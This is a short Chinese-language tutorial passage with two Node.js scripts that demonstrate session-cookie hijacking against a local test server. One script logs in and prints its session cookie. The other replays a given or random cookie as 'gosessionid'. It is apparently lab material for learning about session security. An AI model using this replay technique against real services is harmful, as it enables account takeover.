正常玩Cookie. 退出时显示这个Cookie让劫持者看到.
'use strict';
const httputils = require("./httputils");
const TargetHost = "localhost";
const TargetPort = 10011;
let doGetTo = httputils.makeDoGetTo(TargetHost, TargetPort);
let doPostTo = httputils.makeDoPostTo(TargetHost, TargetPort);
let gCookie = null;
doPostTo("/login", {
username: 'cartman',
password: 'poder'
}, null).then((rs) => {
//console.log("before moving to next:\n%s", JSON.stringify(cookie, null, 4));
//return doGetTo("/shutdown", rs.cookie);
console.log("starting with cookie:");
gCookie = rs.cookie;
console.log(rs.cookie);
startCount(rs.cookie);
});
function startCount(cookie) {
setTimeout(() => doGetTo("/count", cookie).then((rs) => {
console.log("%s", rs.response.trim());
startCount(cookie);
}), 0);
}
process.on('uncaughtException', (e) => {
if (e.errno == 'ECONNREFUSED') {
console.log("Cannot connect to target");
} else {
console.error(e);
}
});
process.on('SIGINT', () => {
console.log(gCookie);
process.exit(-1);
});
接下来就是盗用/劫持cookie:
#!/usr/bin/env node
'use strict';
const httputils = require("./httputils");
const doGetTo = httputils.makeDoGetTo("localhost", 10011);
function randCookie() {
let rv = '';
for (let i = 0; i < 32; ++i) {
rv += String.fromCharCode(Math.floor(Math.random() * 26) + 65);
}
return rv;
}
const cookie = process.argv[2] || randCookie();
console.log("starting with %s", cookie);
doGetTo("/count", {
gosessionid: cookie
}).then((rs) => {
console.log(rs.response);
console.log(rs.cookie);
});